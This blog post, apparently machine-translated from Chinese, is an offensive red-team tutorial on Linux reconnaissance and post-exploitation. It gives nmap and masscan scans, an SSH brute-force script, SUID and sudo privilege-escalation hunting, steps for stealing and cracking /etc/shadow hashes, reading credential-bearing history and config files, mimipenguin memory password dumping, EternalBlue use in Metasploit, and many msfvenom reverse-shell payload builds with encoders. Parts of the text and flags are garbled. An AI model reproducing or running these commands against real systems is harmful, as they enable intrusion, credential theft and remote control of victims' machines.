Information collection and msf tool usage under linux

00x01. Information collection under Linux

Under linux, port scanning, IP scanning and MAC scanning are mainly used to collect information

Information collection in the early stage of NMAP

As one of the most commonly used tools for penetration testing, nmap appears in various scenarios, and its functions are also very rich. It can not only scan ports, but also detect the surviving hosts of specified network segments.

Scan host port:

nmap -T5 -A -v -p- <target ip>

Scan an IP segment to detect the surviving host:

nmap -sP <network address> </CIDR>

Probe operating system type:

nmap -0 <target IP>

Even specifying the corresponding script can scan vulnerabilities and blow up weak passwords, as follows:

Find login authorization page:

nmap -p 80 --script http-auth-finder <www.xxx.com>

SSH blasting:

nmap -p22 --script ssh-brute <target ip>

dns domain delivery vulnerability:

nmap -p 53 --script dns-zone-transfer.nse -v <target ip>

In addition to the nmap tool, masscan is a highly recommended method when a large number of host ports need to be scanned:

Masscan 127.0.0.0/24 -p443  # Single port scan
Masscan 127.0.0.0/24 --top-ports 100 -rate 100000  # Fast scan
Masscan 127.0.0.0/24 --top-ports 100 --excludefile exclude.txt # Exclude specified targets
masscan 127.0.0.0/24 -p20,21,22,23,80,161,443,873,2181,3389,6379,7001,8000,8009,8080,9000,9009,9090,9200,9300,10000,50070 > results.txt

Of course, these are far from enough for the attacker to take down a machine. This is only a way to collect Linux host information in the case of black box.

Medium term information collection

Under the condition that the operation and maintenance personnel can ensure that the system and software are maintained in the new version, without weak password, special SUID file and sudo command, it is basically impossible to raise the right of Linux, but it is difficult to be safe.

In various environments, there are various versions of Linux systems, even UNIX like systems, such as OpenSUSE, Fedora, Oracle Linxu, Slackware, FreeBSD, OpenBSD, etc., so it is key to find out the system version information first.

hostname                    # View server hostname command
uname -a

View kernel information:

uname -mrs
rpm -q <Package name>
dmesg | grep Linux
ls /boot | grep vmlinuz-

After understanding the version or distribution of the system, the next step is to address the right raising vulnerability related to this search. Here, taking Ubuntu 20.04 as an example, use the command-line search tool searchsploit of exploit dB

searchsploit -w ubuntu 20.04 4.4.x

If there is no right raising vulnerability in the version, the attention should be paid to the user's information.

id                          # Displays the true and valid user ID(UID) and group ID(GID)
whoami                      # Current user
groups                      # Current group
who                         # Displays the user information currently logged in to the system

Such as SUID files and sudo permissions

Find file with suid

find / -perm -u=s 2>/dev/null

See which sudo commands the current user executes without a password

sudo -l

How to raise the right when you find a file that can be executed by sudo? Here is a website recommended https://gtfobins.github.io/ A large number of rights raising schemes have been recorded.

Later information collection

In the later stage, when the attacker successfully raises his power, the purpose of information collection actually tends to expand the war results rather than looking for a breakthrough. The red side personnel will find detailed methods to excavate the useful information on the machine, and then use it as a springboard for horizontal attack.

Knowing what processes are running on the machine can infer the location of the machine

ps -aux                     # List all processes and related information commands
ps -ef
top                         # Overview system comprehensive information command, Ctrl + C to exit the interface

What programs are installed? What version? Is it running?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

In view of some common service profiles

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

If you have enough time, it's also a good choice to take a look at the log file. I won't elaborate here, which will be introduced in the blue team article later. As the user with the highest authority, the shadow file cannot be ignored. In case of several passwords, the success rate of horizontal penetration will be greatly improved. Download the passwd and shadow files to kali for unshadow, and then john explodes the hash

mkdir /root/.john
cd /root/.john
unshadow passwd.txt shadow.txt > hash.txt

In addition to shadow, you can also take a look at other sensitive files, such as database configuration, history, etc

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

Mail is also a key point. In some scenarios, very sensitive information can be found.

ls -alh /var/mail/

In addition to the information on this machine, it is also necessary to prepare for other machines to win the intranet. It is necessary to find out the network topology.

route
ip route        # Show core routing table
ip neigh        # Show neighbor table
cat /etc/resolv.conf  # View DNS
arp -e

00x03.Linux post penetration information collection (metasploit)

msf start

Enter the command msfconsole, and the - q command does not display msflogo

Check virtual machine

The checkvm module attempts to determine whether the system is running inside the virtual environment and, if so, which one. This module supports the detection of Hyper-V, VMWare, VirtualBox, Xen and QEMU/KVM.

Enumeration configuration

The enum_ Applications and services commonly installed on configs, such as Apache, MySQL, samba, Sendmail, etc. the discovery module collects configuration files. If a configuration file is found in the default path, the module will be considered as the file we want.

Enumerating networks

The enum_network enumerates firewall rules, interfaces, wireless information, open and listen ports, active network connections, DNS information and SSH information of network information from the target system module.

Enumeration protection

The enum_ The protections module attempts to find some installed applications that can be used to prevent or discover our attacks by looking for specific binary locations to see if they are indeed executable files. For example, if we can run 'snort' as a command, we assume it is one of the files we are looking for. This module is designed to cover various anti-virus, rootkit, IDS/IPS, firewall and other software.

Enumeration system

The enum_ The system module collects system information. It collects installed packages, installed services, Mount information, user lists, user bash history, and cron jobs

User specific information HISTORY

The enum_ users_ The history module collects user specific information. User list, bash history, mysql history, vim history, lastlog, and sudoers.

00x04. Grab the login user password artifact mimipenguin under Linux

mimipenguin is like Mimikatz in windows.

Download command:

git clone https://github.com.cnpmjs.org/huntergregal/mimipenguin 

Run under the root permission, and make full use of the plaintext credentials in memory through the dump process and extracting those rows (hang) that are highly likely to contain plaintext passwords. Try to calculate the probability of each word by checking the / etc/shadow file hash, hash in memory and regular matching

00x05.msf tool simple usage

msf usage

1. Usage

get into msf: 
msfconsolesearch
 Command lookup module: 
search ms17-010use
 Access module: 
use exploit/windows/smb/ms17_010_eternalblue (search in the future use 0)
View module details: 
use After info´╝îno use before info exploit/windows/smb/ms17_010_eternalblue
 Set attack payload: 
set payload windows/x64/meterpreter/reverse_tcp
 View the parameters required by the module:
options
 Set parameters: 
set lhost 0.0.0.0(Parameter names do not appear to be case sensitive)
attack:
run / exploit Fine meterpreter Post infiltration stage

2. The RC script executes multiple msf commands

msfconsole -r configure.rc

msfvenom generates shellcode

1. General generation

msfvenom
-p load 
-f Output format 
-o output file msfvenom 
-p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe
 Most of the time, some configuration is also required lhost lport these ones here:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe

2. Code generation

msfvenom
	-a system architecture 
    --platform system platform 
    -p Payload
    lhost=Attack aircraft IP
    lport=Attacker port
    -e Coding mode
    -i Coding times
    -f Output format
    -o output file
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
 generally speaking -a Yes, No,--platform You don't have to

3. View the supported system architecture

msfvenom -l archs

4. View supported system platforms

msfvenom -l platforms

5. List all payload s

msfvenom -l payload

6. List all output formats

msfvenom -l formats

7. List all encryption methods

msfvenom -l encrypt

8. List all encoders

msfvenom -l encoders

Common generation formats

1.windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe

2. Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -opayload.elf

3. Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4. Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5. Aspx

msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6. Jsp

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7. PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8. Bash

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

Speech:

Information collection is a vast project 55555

reference material:

Linux information collection from the perspective of red team
Information collection of Linux post penetration (metasploit)
Capturing login user password artifact mimipenguin under Linux
Metasploit & Cobalt strike Foundation

MSF Metasploit (basic)

Posted by Germaris on Sun, 28 Nov 2021 06:26:32 -0800